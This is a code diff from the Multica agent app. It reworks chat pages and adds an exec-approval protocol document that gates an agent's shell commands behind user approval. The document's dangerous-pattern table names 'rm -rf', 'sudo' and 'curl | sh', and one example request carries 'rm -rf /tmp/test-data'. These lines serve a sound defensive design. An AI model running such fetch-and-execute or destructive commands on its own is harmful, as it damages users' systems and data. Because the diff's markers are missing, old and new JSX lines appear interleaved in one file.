||||
size="lg"
|
||||
variant="outline"
|
||||
onClick={() => handleModeChange('remote')}
|
||||
className="w-full"
|
||||
>
|
||||
Remote Agent
|
||||
<span className="text-xs ml-2 opacity-70">(Via Gateway)</span>
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{!defaultAgentId && (
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Waiting for local agent to initialize...
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
// Local chat mode - uses useLocalChat hook that bridges to useMessagesStore
|
||||
if (mode === 'local' && defaultAgentId) {
|
||||
return <LocalChatView agentId={defaultAgentId} onBack={() => handleModeChange('select')} />
|
||||
}
|
||||
|
||||
// Remote chat mode - uses Gateway connection
|
||||
return <RemoteChatView onBack={() => handleModeChange('select')} />
|
||||
}
|
||||
|
||||
/**
|
||||
* Local Chat View - Direct IPC communication with agent
|
||||
* Uses useLocalChat hook which bridges IPC events to useMessagesStore
|
||||
*/
|
||||
function LocalChatView({ agentId, onBack }: { agentId: string; onBack: () => void }) {
|
||||
const { isConnected, isLoading, sendMessage, disconnect } = useLocalChat({ agentId })
|
||||
|
||||
// Use same stores as Gateway mode
|
||||
const messages = useMessagesStore((s) => s.messages)
|
||||
const streamingIds = useMessagesStore((s) => s.streamingIds)
|
||||
|
||||
const mainRef = useRef<HTMLElement>(null)
|
||||
const fadeStyle = useScrollFade(mainRef)
|
||||
useAutoScroll(mainRef)
|
||||
|
||||
const handleDisconnect = useCallback(() => {
|
||||
disconnect()
|
||||
onBack()
|
||||
}, [disconnect, onBack])
|
||||
if (mode === 'select') return null
|
||||
|
||||
return (
|
||||
<div className="h-full flex flex-col overflow-hidden w-full">
|
||||
{/* Header */}
|
||||
<div className="flex items-center justify-between px-4 py-2 border-b">
|
||||
<div className="flex items-center gap-2">
|
||||
<Button variant="ghost" size="sm" onClick={onBack}>
|
||||
← Back
|
||||
</Button>
|
||||
<span className="text-sm font-medium">Local Agent</span>
|
||||
<span
|
||||
className={`w-2 h-2 rounded-full ${isConnected ? 'bg-green-500' : 'bg-gray-400'}`}
|
||||
/>
|
||||
</div>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={handleDisconnect}
|
||||
className="text-xs text-muted-foreground"
|
||||
>
|
||||
Disconnect
|
||||
</Button>
|
||||
</div>
|
||||
<div className="flex items-center gap-1 px-6 py-1 shrink-0">
|
||||
<NavButton active={mode === 'local'} onClick={() => setMode('local')}>
|
||||
Local
|
||||
</NavButton>
|
||||
<NavButton active={mode === 'remote'} onClick={() => setMode('remote')}>
|
||||
Remote
|
||||
</NavButton>
|
||||
|
||||
{/* Messages - same component as Gateway mode */}
|
||||
<main ref={mainRef} className="flex-1 overflow-y-auto min-h-0" style={fadeStyle}>
|
||||
{messages.length === 0 ? (
|
||||
<div className="flex items-center justify-center h-full text-muted-foreground text-sm">
|
||||
Send a message to start the conversation
|
||||
</div>
|
||||
) : (
|
||||
<MessageList messages={messages} streamingIds={streamingIds} />
|
||||
)}
|
||||
</main>
|
||||
|
||||
{/* Input - same component as Gateway mode */}
|
||||
<footer className="w-full p-2 pt-1 max-w-4xl mx-auto">
|
||||
<ChatInput
|
||||
onSubmit={sendMessage}
|
||||
disabled={!isConnected || isLoading}
|
||||
placeholder={!isConnected ? 'Connecting...' : 'Type a message...'}
|
||||
/>
|
||||
</footer>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Remote Chat View - Gateway connection to external Hub
|
||||
* Same as the original Chat component
|
||||
*/
|
||||
function RemoteChatView({ onBack }: { onBack: () => void }) {
|
||||
const { loading } = useAutoConnect()
|
||||
|
||||
const agentId = useConnectionStore((s) => s.agentId)
|
||||
const gwState = useConnectionStore((s) => s.connectionState)
|
||||
const hubId = useConnectionStore((s) => s.hubId)
|
||||
|
||||
const messages = useMessagesStore((s) => s.messages)
|
||||
const streamingIds = useMessagesStore((s) => s.streamingIds)
|
||||
|
||||
const isConnected = gwState === 'registered' && !!hubId && !!agentId
|
||||
|
||||
const handleSend = useCallback((text: string) => {
|
||||
const { hubId, agentId, send, connectionState } = useConnectionStore.getState()
|
||||
if (connectionState !== 'registered' || !hubId || !agentId) return
|
||||
useMessagesStore.getState().sendMessage(text, { hubId, agentId, send })
|
||||
}, [])
|
||||
|
||||
const handleDisconnect = useCallback(() => {
|
||||
useConnectionStore.getState().disconnect()
|
||||
onBack()
|
||||
}, [onBack])
|
||||
|
||||
const mainRef = useRef<HTMLElement>(null)
|
||||
const fadeStyle = useScrollFade(mainRef)
|
||||
useAutoScroll(mainRef)
|
||||
|
||||
return (
|
||||
<div className="h-full flex flex-col overflow-hidden w-full">
|
||||
{/* Header */}
|
||||
<div className="flex items-center justify-between px-4 py-2 border-b">
|
||||
<div className="flex items-center gap-2">
|
||||
<Button variant="ghost" size="sm" onClick={onBack}>
|
||||
← Back
|
||||
</Button>
|
||||
<span className="text-sm font-medium">Remote Agent</span>
|
||||
</div>
|
||||
{isConnected && (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={handleDisconnect}
|
||||
className="text-xs text-muted-foreground"
|
||||
{mode === 'remote' && gateway.pageState === 'connected' && (
|
||||
<>
|
||||
<div className="flex-1" />
|
||||
<button
|
||||
onClick={gateway.disconnect}
|
||||
className="text-xs text-muted-foreground hover:text-foreground"
|
||||
>
|
||||
Disconnect
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Messages */}
|
||||
<main ref={mainRef} className="flex-1 overflow-y-auto min-h-0" style={fadeStyle}>
|
||||
{loading ? (
|
||||
<div className="flex items-center justify-center h-full text-muted-foreground text-sm">
|
||||
Loading...
|
||||
</div>
|
||||
) : !isConnected ? (
|
||||
<ConnectPrompt />
|
||||
) : messages.length === 0 ? (
|
||||
<div className="flex items-center justify-center h-full text-muted-foreground text-sm">
|
||||
Send a message to start the conversation
|
||||
</div>
|
||||
) : (
|
||||
<MessageList messages={messages} streamingIds={streamingIds} />
|
||||
)}
|
||||
</main>
|
||||
|
||||
{/* Input */}
|
||||
<footer className="w-full p-2 pt-1 max-w-4xl mx-auto">
|
||||
<ChatInput
|
||||
onSubmit={handleSend}
|
||||
disabled={!isConnected}
|
||||
placeholder={!isConnected ? 'Connect first...' : 'Type a message...'}
|
||||
/>
|
||||
</footer>
|
||||
</button>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function NavButton({
|
||||
active,
|
||||
onClick,
|
||||
children,
|
||||
}: {
|
||||
active: boolean
|
||||
onClick: () => void
|
||||
children: React.ReactNode
|
||||
}) {
|
||||
return (
|
||||
<button
|
||||
onClick={onClick}
|
||||
className={`px-3 py-1 text-xs rounded-md transition-colors ${
|
||||
active
|
||||
? 'bg-accent text-accent-foreground font-medium'
|
||||
: 'text-muted-foreground hover:text-foreground hover:bg-accent/50'
|
||||
}`}
|
||||
>
|
||||
{children}
|
||||
</button>
|
||||
)
|
||||
}
|
||||
|
||||
function ModeSelect() {
|
||||
const setMode = useChatModeStore((s) => s.setMode)
|
||||
|
||||
return (
|
||||
<div className="h-full flex flex-col items-center justify-center gap-6 p-4">
|
||||
<div className="text-center space-y-2">
|
||||
<h2 className="text-lg font-semibold">Start a Conversation</h2>
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Choose how you want to connect
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col gap-3 w-full max-w-xs">
|
||||
<Button
|
||||
size="lg"
|
||||
onClick={() => setMode('local')}
|
||||
className="w-full"
|
||||
>
|
||||
Local Agent
|
||||
<span className="text-xs ml-2 opacity-70">(Direct IPC)</span>
|
||||
</Button>
|
||||
|
||||
<Button
|
||||
size="lg"
|
||||
variant="outline"
|
||||
onClick={() => setMode('remote')}
|
||||
className="w-full"
|
||||
>
|
||||
Remote Agent
|
||||
<span className="text-xs ml-2 opacity-70">(Via Gateway)</span>
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export default function ChatPage() {
|
||||
const mode = useChatModeStore((s) => s.mode)
|
||||
const gateway = useGatewayConnection()
|
||||
|
||||
return (
|
||||
<div className="h-full flex flex-col overflow-hidden">
|
||||
<ModeNav gateway={gateway} />
|
||||
|
||||
{mode === 'select' && <ModeSelect />}
|
||||
|
||||
{mode === 'local' && <LocalChat />}
|
||||
|
||||
<ChatPanel visible={mode === 'remote'}>
|
||||
<RemoteChat gateway={gateway} />
|
||||
</ChatPanel>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ChatPanel({
|
||||
visible,
|
||||
children,
|
||||
}: {
|
||||
visible: boolean
|
||||
children: React.ReactNode
|
||||
}) {
|
||||
return (
|
||||
<div
|
||||
className={`flex-1 min-h-0 ${visible ? 'flex flex-col' : 'hidden'}`}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
|
|
|||
|
|
@ -11,6 +11,7 @@ import {
|
|||
} from '@hugeicons/core-free-icons'
|
||||
import { cn } from '@multica/ui/lib/utils'
|
||||
import { DeviceConfirmDialog } from '../components/device-confirm-dialog'
|
||||
import ChatPage from './chat'
|
||||
|
||||
const tabs = [
|
||||
{ path: '/', label: 'Home', icon: Home01Icon, exact: true },
|
||||
|
|
@ -59,8 +60,18 @@ export default function Layout() {
|
|||
</nav>
|
||||
|
||||
{/* Content */}
|
||||
<main className={cn('flex-1 overflow-auto', location.pathname === '/chat' ? '' : 'p-4')}>
|
||||
<Outlet />
|
||||
<main className="flex-1 overflow-auto relative">
|
||||
{/* ChatPage is always mounted (cached), hidden via CSS */}
|
||||
<div className={cn('absolute inset-0', location.pathname === '/chat' ? '' : 'hidden')}>
|
||||
<ChatPage />
|
||||
</div>
|
||||
|
||||
{/* Other routes render normally via Outlet */}
|
||||
{location.pathname !== '/chat' && (
|
||||
<div className="p-4 h-full">
|
||||
<Outlet />
|
||||
</div>
|
||||
)}
|
||||
</main>
|
||||
<Toaster />
|
||||
<DeviceConfirmDialog />
|
||||
|
|
|
|||
13
apps/desktop/src/stores/chat-mode.ts
Normal file
13
apps/desktop/src/stores/chat-mode.ts
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
import { create } from "zustand"
|
||||
|
||||
export type ChatMode = "select" | "local" | "remote"
|
||||
|
||||
interface ChatModeStore {
|
||||
mode: ChatMode
|
||||
setMode: (mode: ChatMode) => void
|
||||
}
|
||||
|
||||
export const useChatModeStore = create<ChatModeStore>((set) => ({
|
||||
mode: "select",
|
||||
setMode: (mode) => set({ mode }),
|
||||
}))
|
||||
|
|
@ -1,13 +1,10 @@
|
|||
"use client";
|
||||
|
||||
import { Button } from "@multica/ui/components/ui/button";
|
||||
import { ThemeToggle } from "./theme-toggle";
|
||||
|
||||
export function AppHeader({ children }: { children: React.ReactNode }) {
|
||||
export function Header() {
|
||||
return (
|
||||
<>
|
||||
<header>
|
||||
<div className="flex items-center justify-between px-4 py-2 max-w-4xl mx-auto">
|
||||
<header className="container flex justify-between items-center p-2">
|
||||
<div className="flex items-center gap-2.5">
|
||||
<img src="/logo.svg" alt="Multica" className="size-6 rounded-md" />
|
||||
<span className="text-sm tracking-wide font-[family-name:var(--font-brand)]">
|
||||
|
|
@ -17,9 +14,6 @@ export function AppHeader({ children }: { children: React.ReactNode }) {
|
|||
<div className="flex items-center gap-1">
|
||||
<ThemeToggle />
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
{children}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
|
@ -2,7 +2,6 @@ import type { Metadata } from "next";
|
|||
import { Geist, Geist_Mono, Inter, Playfair_Display } from "next/font/google";
|
||||
import "@multica/ui/globals.css";
|
||||
import { ThemeProvider } from "@multica/ui/components/theme-provider";
|
||||
import { AppHeader } from "./app-header";
|
||||
import { Toaster } from "@multica/ui/components/ui/sonner";
|
||||
import { ServiceWorkerRegister } from "./sw-register";
|
||||
|
||||
|
|
@ -53,9 +52,7 @@ export default function RootLayout({
|
|||
enableSystem
|
||||
disableTransitionOnChange
|
||||
>
|
||||
<AppHeader>
|
||||
<div className="flex-1 overflow-hidden">{children}</div>
|
||||
</AppHeader>
|
||||
<div className="h-dvh overflow-hidden">{children}</div>
|
||||
</ThemeProvider>
|
||||
<Toaster />
|
||||
<ServiceWorkerRegister />
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
import { Chat } from "@multica/ui/components/chat";
|
||||
import ChatPage from "@/components/pages/chat-page";
|
||||
|
||||
export default function Page() {
|
||||
return <Chat />;
|
||||
return <ChatPage />;
|
||||
}
|
||||
|
|
|
|||
63
apps/web/components/pages/chat-page.tsx
Normal file
63
apps/web/components/pages/chat-page.tsx
Normal file
|
|
@ -0,0 +1,63 @@
|
|||
"use client";
|
||||
|
||||
import { Header } from "@/app/header";
|
||||
import { Loading } from "@multica/ui/components/ui/loading";
|
||||
import { ChatView } from "@multica/ui/components/chat-view";
|
||||
import { DevicePairing } from "@multica/ui/components/device-pairing";
|
||||
import { useGatewayConnection } from "@multica/hooks/use-gateway-connection";
|
||||
import { useGatewayChat } from "@multica/hooks/use-gateway-chat";
|
||||
|
||||
const ChatPage = () => {
|
||||
const { pageState, connectionState, identity, error, client, pairingKey, connect, disconnect } =
|
||||
useGatewayConnection();
|
||||
|
||||
return (
|
||||
<div className="h-full flex flex-col bg-background">
|
||||
<Header />
|
||||
<div className="flex-1 overflow-hidden min-h-0 flex flex-col">
|
||||
{pageState === "loading" && (
|
||||
<div className="flex-1 flex items-center justify-center gap-2 text-muted-foreground text-sm">
|
||||
<Loading />
|
||||
Loading...
|
||||
</div>
|
||||
)}
|
||||
|
||||
{(pageState === "not-connected" || pageState === "connecting") && (
|
||||
<DevicePairing
|
||||
key={pairingKey}
|
||||
connectionState={connectionState}
|
||||
lastError={error}
|
||||
onConnect={connect}
|
||||
onCancel={disconnect}
|
||||
/>
|
||||
)}
|
||||
|
||||
{pageState === "connected" && client && identity && (
|
||||
<ConnectedChat
|
||||
client={client}
|
||||
hubId={identity.hubId}
|
||||
agentId={identity.agentId}
|
||||
onDisconnect={disconnect}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
function ConnectedChat({
|
||||
client,
|
||||
hubId,
|
||||
agentId,
|
||||
onDisconnect,
|
||||
}: {
|
||||
client: NonNullable<ReturnType<typeof useGatewayConnection>["client"]>;
|
||||
hubId: string;
|
||||
agentId: string;
|
||||
onDisconnect: () => void;
|
||||
}) {
|
||||
const chat = useGatewayChat({ client, hubId, agentId });
|
||||
return <ChatView {...chat} onDisconnect={onDisconnect} />;
|
||||
}
|
||||
|
||||
export default ChatPage;
|
||||
|
|
@ -9,6 +9,7 @@
|
|||
"lint": "eslint"
|
||||
},
|
||||
"dependencies": {
|
||||
"@multica/hooks": "workspace:*",
|
||||
"@multica/sdk": "workspace:*",
|
||||
"@multica/store": "workspace:*",
|
||||
"@multica/ui": "workspace:*",
|
||||
|
|
|
|||
235
docs/exec-approval.md
Normal file
235
docs/exec-approval.md
Normal file
|
|
@ -0,0 +1,235 @@
|
|||
# Exec Approval Protocol
|
||||
|
||||
Human-in-the-loop command execution approval for the `exec` tool. When an agent attempts to run a shell command that doesn't pass safety checks, the Hub requests approval from the connected client before proceeding.
|
||||
|
||||
## Architecture Overview
|
||||
|
||||
```
|
||||
Agent (exec tool) Hub Gateway Client (UI)
|
||||
| | | |
|
||||
|-- onApprovalNeeded -->| | |
|
||||
| |-- evaluateCommandSafety() |
|
||||
| |-- requiresApproval()? |
|
||||
| | | |
|
||||
| |== exec-approval-request =============> |
|
||||
| | | |-- show UI
|
||||
| | | |-- user decides
|
||||
| | <== resolveExecApproval RPC ==========|
|
||||
| | | |
|
||||
| <-- approved/denied -| | |
|
||||
| | | |
|
||||
```
|
||||
|
||||
1. The **Agent** calls the `exec` tool with a shell command.
|
||||
2. The `exec` tool invokes the `onApprovalNeeded` callback (injected by the Hub).
|
||||
3. The **Hub** evaluates the command through a 4-layer safety engine.
|
||||
4. If approval is needed, the Hub sends an `exec-approval-request` message to the Client via the Gateway.
|
||||
5. The **Client** displays the approval UI and the user makes a decision.
|
||||
6. The Client calls the `resolveExecApproval` RPC with the decision.
|
||||
7. The Hub resolves the pending promise and the command is either executed or denied.
|
||||
|
||||
## Safety Evaluation
|
||||
|
||||
Before requesting approval, the Hub evaluates the command through 4 layers:
|
||||
|
||||
| Layer | Description | Example |
|
||||
|-------|-------------|---------|
|
||||
| **Allowlist** | Glob patterns of pre-approved commands | `git **`, `pnpm **` |
|
||||
| **Shell syntax** | Detects dangerous shell constructs | `\|&`, `` ` ` ``, `$()`, `;` |
|
||||
| **Safe binaries** | ~40 known-safe commands (no file-path args) | `ls`, `cat`, `git status` |
|
||||
| **Dangerous patterns** | 25+ regex patterns for risky commands | `rm -rf`, `sudo`, `curl \| sh` |
|
||||
|
||||
The result is a risk level: `"safe"`, `"needs-review"`, or `"dangerous"`.
|
||||
|
||||
### Configuration
|
||||
|
||||
Stored in profile config (`~/.super-multica/agent-profiles/{profileId}/config.json`):
|
||||
|
||||
```json
|
||||
{
|
||||
"execApproval": {
|
||||
"security": "allowlist",
|
||||
"ask": "on-miss",
|
||||
"timeoutMs": 60000,
|
||||
"askFallback": "deny",
|
||||
"allowlist": [
|
||||
{ "pattern": "git **" },
|
||||
{ "pattern": "pnpm **" }
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Values | Default | Description |
|
||||
|-------|--------|---------|-------------|
|
||||
| `security` | `"deny"` \| `"allowlist"` \| `"full"` | `"allowlist"` | `deny` blocks all exec, `full` allows all, `allowlist` requires matching |
|
||||
| `ask` | `"off"` \| `"on-miss"` \| `"always"` | `"on-miss"` | `off` never asks, `on-miss` asks when allowlist misses, `always` always asks |
|
||||
| `timeoutMs` | number (ms) | `60000` | Time before auto-deny |
|
||||
| `askFallback` | `"deny"` \| `"allowlist"` \| `"full"` | `"deny"` | What happens on timeout |
|
||||
| `allowlist` | array of entries | `[]` | Pre-approved command patterns |
|
||||
|
||||
## WebSocket Protocol
|
||||
|
||||
### Step 1: Approval Request (Hub → Client)
|
||||
|
||||
When a command requires approval, the Hub sends a push message with action `exec-approval-request`:
|
||||
|
||||
```json
|
||||
{
|
||||
"id": "019444a0-0000-7000-8000-000000000001",
|
||||
"from": "<hubDeviceId>",
|
||||
"to": "<clientDeviceId>",
|
||||
"action": "exec-approval-request",
|
||||
"payload": {
|
||||
"approvalId": "019444a0-1234-7abc-8000-abcdef123456",
|
||||
"agentId": "019444a0-5678-7def-8000-123456abcdef",
|
||||
"command": "rm -rf /tmp/test-data",
|
||||
"cwd": "/Users/alice/projects/my-app",
|
||||
"riskLevel": "dangerous",
|
||||
"riskReasons": [
|
||||
"Matches dangerous pattern: rm with -r or -f flags",
|
||||
"Uses recursive/force deletion flags"
|
||||
],
|
||||
"expiresAtMs": 1738700060000
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Payload Fields
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `approvalId` | `string` | Unique ID for this approval request (UUIDv7). Must be included in the response. |
|
||||
| `agentId` | `string` | Session ID of the agent that initiated the command. |
|
||||
| `command` | `string` | The shell command to be executed. |
|
||||
| `cwd` | `string?` | Working directory for the command. Optional. |
|
||||
| `riskLevel` | `"safe" \| "needs-review" \| "dangerous"` | Evaluated risk level. |
|
||||
| `riskReasons` | `string[]` | Human-readable reasons for the risk assessment. |
|
||||
| `expiresAtMs` | `number` | Unix timestamp (ms) when this request expires. After this time, the Hub auto-resolves based on `askFallback`. |
|
||||
|
||||
### Step 2: User Decision (Client → Hub)
|
||||
|
||||
The client sends a standard RPC request with method `resolveExecApproval`:
|
||||
|
||||
```json
|
||||
{
|
||||
"id": "019444a0-0000-7000-8000-000000000002",
|
||||
"from": "<clientDeviceId>",
|
||||
"to": "<hubDeviceId>",
|
||||
"action": "request",
|
||||
"payload": {
|
||||
"requestId": "client-req-001",
|
||||
"method": "resolveExecApproval",
|
||||
"params": {
|
||||
"approvalId": "019444a0-1234-7abc-8000-abcdef123456",
|
||||
"decision": "allow-once"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Decision Values
|
||||
|
||||
| Decision | Effect |
|
||||
|----------|--------|
|
||||
| `"allow-once"` | Allow this command to execute. No persistent change. |
|
||||
| `"allow-always"` | Allow and add the command's binary to the profile allowlist (e.g., `rm **`). Future commands from the same binary will auto-approve. |
|
||||
| `"deny"` | Block the command. The agent receives a denial message. |
|
||||
|
||||
### Step 3: RPC Response (Hub → Client)
|
||||
|
||||
**Success** — the approval was found and resolved:
|
||||
|
||||
```json
|
||||
{
|
||||
"id": "019444a0-0000-7000-8000-000000000003",
|
||||
"from": "<hubDeviceId>",
|
||||
"to": "<clientDeviceId>",
|
||||
"action": "response",
|
||||
"payload": {
|
||||
"requestId": "client-req-001",
|
||||
"ok": true,
|
||||
"payload": {
|
||||
"ok": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Error** — the approval was not found (already resolved or expired):
|
||||
|
||||
```json
|
||||
{
|
||||
"id": "019444a0-0000-7000-8000-000000000004",
|
||||
"from": "<hubDeviceId>",
|
||||
"to": "<clientDeviceId>",
|
||||
"action": "response",
|
||||
"payload": {
|
||||
"requestId": "client-req-001",
|
||||
"ok": false,
|
||||
"error": {
|
||||
"code": "NOT_FOUND",
|
||||
"message": "Approval request not found or already resolved"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Timeout Behavior
|
||||
|
||||
If the client does not respond within `timeoutMs` (default: 60 seconds), the Hub resolves the approval automatically based on the `askFallback` configuration:
|
||||
|
||||
| `askFallback` | Behavior on timeout |
|
||||
|---------------|---------------------|
|
||||
| `"deny"` (default) | Command is denied (fail-closed). |
|
||||
| `"full"` | Command is allowed. |
|
||||
| `"allowlist"` | Command is allowed only if it matched the allowlist; otherwise denied. |
|
||||
|
||||
## SDK Types
|
||||
|
||||
All protocol types are exported from `@multica/sdk`:
|
||||
|
||||
```ts
|
||||
import {
|
||||
ExecApprovalRequestAction, // "exec-approval-request"
|
||||
type ApprovalDecision, // "allow-once" | "allow-always" | "deny"
|
||||
type ExecApprovalRequestPayload,
|
||||
type ResolveExecApprovalParams,
|
||||
type ResolveExecApprovalResult,
|
||||
} from "@multica/sdk";
|
||||
```
|
||||
|
||||
## Client Implementation Guide
|
||||
|
||||
A minimal client handling exec approvals:
|
||||
|
||||
```ts
|
||||
import { GatewayClient, ExecApprovalRequestAction } from "@multica/sdk";
|
||||
import type { ExecApprovalRequestPayload, ApprovalDecision } from "@multica/sdk";
|
||||
|
||||
// Listen for approval requests
|
||||
client.onMessage((msg) => {
|
||||
if (msg.action === ExecApprovalRequestAction) {
|
||||
const payload = msg.payload as ExecApprovalRequestPayload;
|
||||
showApprovalUI(payload);
|
||||
}
|
||||
});
|
||||
|
||||
// When user makes a decision
|
||||
async function respondToApproval(approvalId: string, decision: ApprovalDecision) {
|
||||
const result = await client.request(hubDeviceId, "resolveExecApproval", {
|
||||
approvalId,
|
||||
decision,
|
||||
});
|
||||
// result.ok === true if resolved successfully
|
||||
}
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
The system is designed to be **fail-closed**:
|
||||
|
||||
- If sending the approval request to the client fails → command is denied.
|
||||
- If the client disconnects before responding → timeout fires, command follows `askFallback` (default: deny).
|
||||
- If the RPC response references an unknown `approvalId` → `NOT_FOUND` error returned, no side effects.
|
||||
- If the agent is closed while an approval is pending → all pending approvals for that agent are auto-denied.
|
||||
20
packages/hooks/package.json
Normal file
20
packages/hooks/package.json
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
{
|
||||
"name": "@multica/hooks",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": "./src/index.ts",
|
||||
"./*": "./src/*.ts"
|
||||
},
|
||||
"dependencies": {
|
||||
"@multica/sdk": "workspace:*",
|
||||
"react": "catalog:",
|
||||
"uuid": "^13.0.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/react": "catalog:",
|
||||
"@types/uuid": "^11.0.0",
|
||||
"typescript": "catalog:"
|
||||
}
|
||||
}
|
||||
17
packages/hooks/src/index.ts
Normal file
17
packages/hooks/src/index.ts
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
export { useGatewayConnection } from "./use-gateway-connection";
|
||||
export type {
|
||||
ConnectionIdentity,
|
||||
PageState,
|
||||
UseGatewayConnectionReturn,
|
||||
} from "./use-gateway-connection";
|
||||
|
||||
export { useChat } from "./use-chat";
|
||||
export type {
|
||||
Message,
|
||||
ToolStatus,
|
||||
ChatError,
|
||||
PendingApproval,
|
||||
UseChatReturn,
|
||||
} from "./use-chat";
|
||||
|
||||
export { useGatewayChat } from "./use-gateway-chat";
|
||||
250
packages/hooks/src/use-chat.ts
Normal file
250
packages/hooks/src/use-chat.ts
Normal file
|
|
@ -0,0 +1,250 @@
|
|||
"use client";
|
||||
|
||||
import { useState, useCallback } from "react";
|
||||
import { v7 as uuidv7 } from "uuid";
|
||||
import {
|
||||
type ContentBlock,
|
||||
type AgentEvent,
|
||||
type StreamPayload,
|
||||
type AgentMessageItem,
|
||||
type ExecApprovalRequestPayload,
|
||||
type ApprovalDecision,
|
||||
} from "@multica/sdk";
|
||||
|
||||
export type ToolStatus = "running" | "success" | "error" | "interrupted";
|
||||
|
||||
export interface Message {
|
||||
id: string;
|
||||
role: "user" | "assistant" | "toolResult";
|
||||
content: ContentBlock[];
|
||||
agentId: string;
|
||||
stopReason?: string;
|
||||
toolCallId?: string;
|
||||
toolName?: string;
|
||||
toolArgs?: Record<string, unknown>;
|
||||
toolStatus?: ToolStatus;
|
||||
isError?: boolean;
|
||||
}
|
||||
|
||||
export interface ChatError {
|
||||
code: string;
|
||||
message: string;
|
||||
}
|
||||
|
||||
export interface PendingApproval extends ExecApprovalRequestPayload {
|
||||
receivedAt: number;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function toContentBlocks(content: string | ContentBlock[]): ContentBlock[] {
|
||||
if (typeof content === "string") {
|
||||
return content ? [{ type: "text", text: content }] : [];
|
||||
}
|
||||
if (Array.isArray(content)) return content;
|
||||
return [];
|
||||
}
|
||||
|
||||
function extractContent(event: AgentEvent): ContentBlock[] {
|
||||
if (!("message" in event)) return [];
|
||||
const msg = event.message;
|
||||
if (!msg || !("content" in msg)) return [];
|
||||
const content = msg.content;
|
||||
return Array.isArray(content) ? (content as ContentBlock[]) : [];
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// useChat — pure state hook, no IO, no side effects
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export function useChat() {
|
||||
const [messages, setMessages] = useState<Message[]>([]);
|
||||
const [streamingIds, setStreamingIds] = useState<Set<string>>(new Set());
|
||||
const [pendingApprovals, setPendingApprovals] = useState<PendingApproval[]>([]);
|
||||
const [error, setError] = useState<ChatError | null>(null);
|
||||
const [hasMore, setHasMore] = useState(false);
|
||||
|
||||
const isStreaming = streamingIds.size > 0;
|
||||
|
||||
/** Convert raw AgentMessageItem[] → Message[] */
|
||||
const convertMessages = useCallback((raw: AgentMessageItem[], agentId: string): Message[] => {
|
||||
const toolCallArgsMap = new Map<string, { name: string; args: Record<string, unknown> }>();
|
||||
for (const m of raw) {
|
||||
if (m.role === "assistant") {
|
||||
for (const block of m.content) {
|
||||
if (block.type === "toolCall") {
|
||||
toolCallArgsMap.set(block.id, { name: block.name, args: block.arguments });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const loaded: Message[] = [];
|
||||
for (const m of raw) {
|
||||
if (m.role === "user") {
|
||||
loaded.push({ id: uuidv7(), role: "user", content: toContentBlocks(m.content), agentId });
|
||||
} else if (m.role === "assistant") {
|
||||
loaded.push({ id: uuidv7(), role: "assistant", content: toContentBlocks(m.content), agentId, stopReason: m.stopReason });
|
||||
} else if (m.role === "toolResult") {
|
||||
const callInfo = toolCallArgsMap.get(m.toolCallId);
|
||||
loaded.push({
|
||||
id: uuidv7(),
|
||||
role: "toolResult",
|
||||
content: toContentBlocks(m.content),
|
||||
agentId,
|
||||
toolCallId: m.toolCallId,
|
||||
toolName: m.toolName,
|
||||
toolArgs: callInfo?.args,
|
||||
toolStatus: m.isError ? "error" : "success",
|
||||
isError: m.isError,
|
||||
});
|
||||
}
|
||||
}
|
||||
return loaded;
|
||||
}, []);
|
||||
|
||||
/** Load initial history (replaces all messages) */
|
||||
const setHistory = useCallback((raw: AgentMessageItem[], agentId: string, meta?: { total: number; offset: number }) => {
|
||||
const loaded = convertMessages(raw, agentId);
|
||||
setMessages(loaded);
|
||||
if (meta) {
|
||||
setHasMore(meta.offset > 0);
|
||||
}
|
||||
}, [convertMessages]);
|
||||
|
||||
/** Prepend older messages (for "load more" pagination) */
|
||||
const prependHistory = useCallback((raw: AgentMessageItem[], agentId: string, meta: { total: number; offset: number }) => {
|
||||
const older = convertMessages(raw, agentId);
|
||||
setMessages((prev) => [...older, ...prev]);
|
||||
setHasMore(meta.offset > 0);
|
||||
}, [convertMessages]);
|
||||
|
||||
/** Add a user message */
|
||||
const addUserMessage = useCallback((text: string, agentId: string) => {
|
||||
setMessages((prev) => [
|
||||
...prev,
|
||||
{ id: uuidv7(), role: "user", content: [{ type: "text", text }], agentId },
|
||||
]);
|
||||
}, []);
|
